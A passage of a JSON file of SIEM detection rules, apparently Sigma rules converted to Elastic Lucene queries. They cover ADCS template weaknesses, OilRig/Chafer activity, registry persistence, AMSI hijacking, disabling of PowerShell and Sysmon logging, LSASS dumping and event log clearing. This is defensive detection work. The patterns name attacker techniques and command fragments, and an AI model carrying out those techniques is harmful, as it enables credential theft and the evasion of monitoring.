Roth"], "license": ""}
{"description": "Detects certificate creation with template allowing risk permission subject and risky EKU", "enabled": false, "false_positives": ["Administrator activity", "Proxy SSL certificate with subject modification", "Smart card enrollement"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "11b32868-4e0b-246b-5922-44a593ccfe0b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ADCS Certificate Template Configuration Vulnerability with Risky EKU", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4898\" AND TemplateContent:(*1.3.6.1.5.5.7.3.2* OR *1.3.6.1.5.2.3.4* OR *1.3.6.1.4.1.311.20.2.2* OR *2.5.29.37.0*) AND TemplateContent:*CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT*) OR (winlog.event_id:\"4899\" AND NewTemplateContent:(*1.3.6.1.5.5.7.3.2* OR *1.3.6.1.5.2.3.4* OR *1.3.6.1.4.1.311.20.2.2* OR *2.5.29.37.0*) AND NewTemplateContent:*CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Orlinum ", "BlueDefenZer"], "license": ""}
{"description": "Detects certificate creation with template allowing risk permission subject", "enabled": false, "false_positives": ["Administrator activity", "Proxy SSL certificate with subject modification", "Smart card enrollement"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "676610aa-6190-dbe7-1807-57009c4a96d0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "ADCS Certificate Template Configuration Vulnerability", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:\"4898\" AND TemplateContent:*CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT*) OR (winlog.event_id:\"4899\" AND NewTemplateContent:*CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Orlinum ", "BlueDefenZer"], "license": ""}
{"description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8f14e05-71b9-4240-61c3-1a650b7b0608", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Chafer Activity", "query": "((process.command_line:*\\\\Service.exe* AND process.command_line:(*i OR *u)) OR (process.command_line:*\\\\microsoft\\\\Taskbar\\\\autoit3.exe OR process.command_line:C\\:\\\\wsc.exe*) OR (process.executable:*\\\\Windows\\\\Temp\\\\DB\\\\* AND process.executable:*.exe) OR (process.command_line:*\\\\nslookup.exe* AND process.command_line:*\\-q\\=TXT* AND process.parent.executable:*\\\\Autoit*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1053", "T1071", "T1112", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8f14e05-71b9-4240-61c3-1a650b7b0608", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Chafer Activity", "query": "winlog.event_data.TargetObject:(*SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\UMe OR *SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\UT)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1053", "T1071", "T1112", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8f14e05-71b9-4240-61c3-1a650b7b0608", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Chafer Activity", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4698\" AND winlog.event_data.TaskName:(\"SC\\ Scheduled\\ Scan\" OR \"UpdatMachine\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1053", "T1071", "T1112", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d8f14e05-71b9-4240-61c3-1a650b7b0608", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Chafer Activity", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ServiceName:(\"SC\\ Scheduled\\ Scan\" OR \"UpdatMachine\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1053", "T1071", "T1112", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", "enabled": false, "false_positives": ["Admin or User activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "183f3938-17b7-e4c2-6846-f784832af8bc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Edit of .bash_profile and .bashrc", "query": "(type:\"PATH\" AND name:(\"\\/root\\/.bashrc\" OR \"\\/root\\/.bash_profile\" OR \"\\/root\\/.profile\" OR \\/home\\/*\\/.bashrc OR \\/home\\/*\\/.bash_profile OR \\/home\\/*\\/.profile OR \"\\/etc\\/profile\" OR \"\\/etc\\/shells\" OR \"\\/etc\\/bashrc\" OR \"\\/etc\\/csh.cshrc\" OR \"\\/etc\\/csh.login\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["MITRE Attack technique T1156; .bash_profile and .bashrc. "], "timestamp_override": "event.ingested", "author": ["Peter Matkovski"], "license": ""}
{"description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "835cf0c7-d1b8-5155-ff45-9967f4c18b1b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via AutodialDLL", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Services\\\\WinSock2\\\\Parameters\\\\AutodialDLL*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", "enabled": false, "false_positives": ["Legitimate driver altitude change to hide sysmon"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7fcac4ed-5c4b-2e88-4756-157cfdad725a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Sysmon Event Logging Via Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\* AND winlog.event_data.TargetObject:*\\\\Instances\\\\Sysmon\\ Instance\\\\Altitude)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["B.Talebi"], "license": ""}
{"description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b863b5e5-5dd5-55cb-26f1-08c9a21c57c1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "COM Hijack via Sdclt", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Classes\\\\Folder\\\\shell\\\\open\\\\command\\\\DelegateExecute\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Omkar Gudhate"], "license": ""}
{"description": "Detects changes to RDP terminal service sensitive settings", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a10fc8c6-f1f1-18e5-17f8-067f1383da37", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RDP Sensitive Settings Changed", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\services\\\\TermService\\\\Parameters\\\\ServiceDll* OR *\\\\Control\\\\Terminal\\ Server\\\\fSingleSessionPerUser* OR *\\\\Control\\\\Terminal\\ Server\\\\fDenyTSConnections* OR *\\\\Policies\\\\Microsoft\\\\Windows\\ NT\\\\Terminal\\ Services\\\\Shadow* OR *\\\\Control\\\\Terminal\\ Server\\\\WinStations\\\\RDP\\-Tcp\\\\InitialProgram*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "David ANDRE"], "license": ""}
{"description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e39cda28-6e0c-5267-a832-7b184857aadd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Persistence Via App Paths Default Property", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App\\ Paths* AND winlog.event_data.TargetObject:(*\$Default\$ OR *Path) AND winlog.event_data.Details:(*\\\\Users\\\\Public* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *%temp%* OR *%tmp%* OR *iex* OR *Invoke\\-* OR *rundll32* OR *regsvr32* OR *mshta* OR *cscript* OR *wscript* OR *.bat* OR *.hta* OR *.dll* OR *.ps1*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes to the \"Default\" property for keys located in the \\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\ registry. Which might be used as a method of persistence\nThe entries found under App Paths are used primarily for the following purposes.\nFirst, to map an application's executable file name to that file's fully qualified path.\nSecond, to pre-pend information to the PATH environment variable on a per-application, per-process basis.\n", "enabled": false, "false_positives": ["Legitimate applications registering their binary from on of the suspicious locations mentioned above (tune it)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6e445ec-34ad-5366-8ef1-f362dce8ba61", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Values In App Paths Default Property", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App\\ Paths* AND winlog.event_data.TargetObject:(*\$Default\$ OR *Path) AND winlog.event_data.Details:(*\\\\Users\\\\Public* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *%temp%* OR *iex* OR *Invoke\\-* OR *rundll32* OR *regsvr32* OR *mshta* OR *cscript* OR *wscript* OR *.bat* OR *.hta* OR *.dll* OR *.ps1*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", "enabled": false, "false_positives": ["Administrative scripts", "Installation of a service"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "040fc2f3-bd63-bacf-3538-b172073fd5a2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ServiceDll Hijack", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\Parameters\\\\ServiceDll) AND (NOT ((winlog.event_data.Details:\"C\\:\\\\Windows\\\\system32\\\\spool\\\\drivers\\\\x64\\\\3\\\\PrintConfig.dll\") OR (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\lsass.exe\" AND winlog.event_data.TargetObject:*\\\\CurrentControlSet\\\\Services\\\\NTDS\\\\Parameters\\\\ServiceDll AND winlog.event_data.Details:\"%%systemroot%%\\\\system32\\\\ntdsa.dll\") OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\poqexec.exe\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "934d6efb-524e-49c4-7c7c-6531f0bd6cd7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential AMSI COM Server Hijacking", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\CLSID\\\\\\{fdb00e52\\-a214\\-4aa1\\-8fba\\-4357bb0072ec\\}\\\\InProcServer32\\\\\$Default\$) AND (NOT (winlog.event_data.Details:\"%windir%\\system32\\amsi.dll\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.", "enabled": false, "false_positives": ["Valid changes to the startup script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4e956dad-3bd6-754b-f796-49cdf75a5321", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AWS EC2 Startup Shell Script Change", "query": "(eventSource:\"ec2.amazonaws.com\" AND requestParameters.attribute:\"userData\" AND eventName:\"ModifyInstanceAttribute\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["faloker"], "license": ""}
{"description": "Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc4ec78e-6af0-20c2-6295-43993d62f46f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential PowerShell Execution Policy Tampering", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\ShellIds\\\\Microsoft.PowerShell\\\\ExecutionPolicy OR *\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ExecutionPolicy) AND winlog.event_data.Details:(*Bypass* OR *RemoteSigned* OR *Unrestricted*)) AND (NOT process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fa661975-abc8-f4d2-174b-d39d3f77a051", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential PowerShell Execution Policy Tampering - ProcCreation", "query": "(process.command_line.text:(*\\\\ShellIds\\\\Microsoft.PowerShell\\\\ExecutionPolicy* OR *\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ExecutionPolicy*) AND process.command_line.text:(*Bypass* OR *RemoteSigned* OR *Unrestricted*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6cde6e5-6e37-710b-6004-0d960492a881", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Logging Disabled Via Registry Key Tampering", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging\\\\EnableModuleLogging OR *\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging\\\\EnableScriptBlockLogging OR *\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription\\\\EnableTranscripting OR *\\\\Microsoft\\\\Windows\\\\PowerShell\\\\EnableScripts OR *\\\\Microsoft\\\\PowerShellCore\\\\ModuleLogging\\\\EnableModuleLogging OR *\\\\Microsoft\\\\PowerShellCore\\\\ScriptBlockLogging\\\\EnableScriptBlockLogging OR *\\\\Microsoft\\\\PowerShellCore\\\\Transcription\\\\EnableTranscripting OR *\\\\Microsoft\\\\PowerShellCore\\\\EnableScripts) AND winlog.event_data.Details:\"DWORD (0x00000000)\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5338a069-990d-607a-25fc-1882837d7894", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "SilentProcessExit Monitor Registration for LSASS", "query": "winlog.event_data.TargetObject:*Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\SilentProcessExit\\\\lsass.exe*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ed0761e2-3aa1-8695-94ca-94966eee357a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SilentProcessExit Monitor Registrytion", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\SilentProcessExit* AND winlog.event_data.Details:*MonitorProcess*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects chmod targeting files in abnormal directory paths.", "enabled": false, "false_positives": ["Admin changing file permissions."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6b4222fc-72b0-35d3-ea77-84e5d0d85854", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Chmod Suspicious Directory", "query": "(process.executable:*\\/chmod AND process.command_line:(*\\/tmp\\/* OR *\\/.Library\\/* OR *\\/etc\\/* OR *\\/opt\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "99cbda10-7581-b86e-c593-731ef1626067", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential Data Stealing Via Chromium Headless Debugging", "query": "(process.command_line.text:*\\-\\-remote\\-debugging\\-* AND process.command_line.text:*\\-\\-user\\-data\\-dir* AND process.command_line.text:*\\-\\-headless*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1185"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", "author": ["Ecco", "Daniil Yugoslavskiy", "oscd.community", "D3F7A5105"], "enabled": false, "false_positives": ["Admin activity", "Scripts and administrative tools used in the monitored environment", "Maintenance activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5d092b91-ea20-56e6-4dd7-bbf8178f86de", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Eventlog Clear or Configuration Using Wevtutil", "query": "((((process.executable.text:*\\\\wevtutil.exe AND process.command_line.text:(*clear\\-log\\ * OR *\\ cl\\ * OR *set\\-log\\ * OR *\\ sl\\ * OR *lfn\\:*))) OR ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*Clear\\-EventLog\\ * OR *Remove\\-EventLog\\ * OR *Limit\\-EventLog\\ * OR *Clear\\-WinEvent\\ *))) OR ((process.executable.text:*\\\\wmic.exe AND process.command_line.text:*\\ ClearEventLog\\ *))) AND (NOT ((process.parent.executable.text:(\"C:\\Windows\\SysWOW64\\msiexec.exe\" OR \"C:\\Windows\\System32\\msiexec.exe\") AND process.command_line.text:*\\ sl\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, 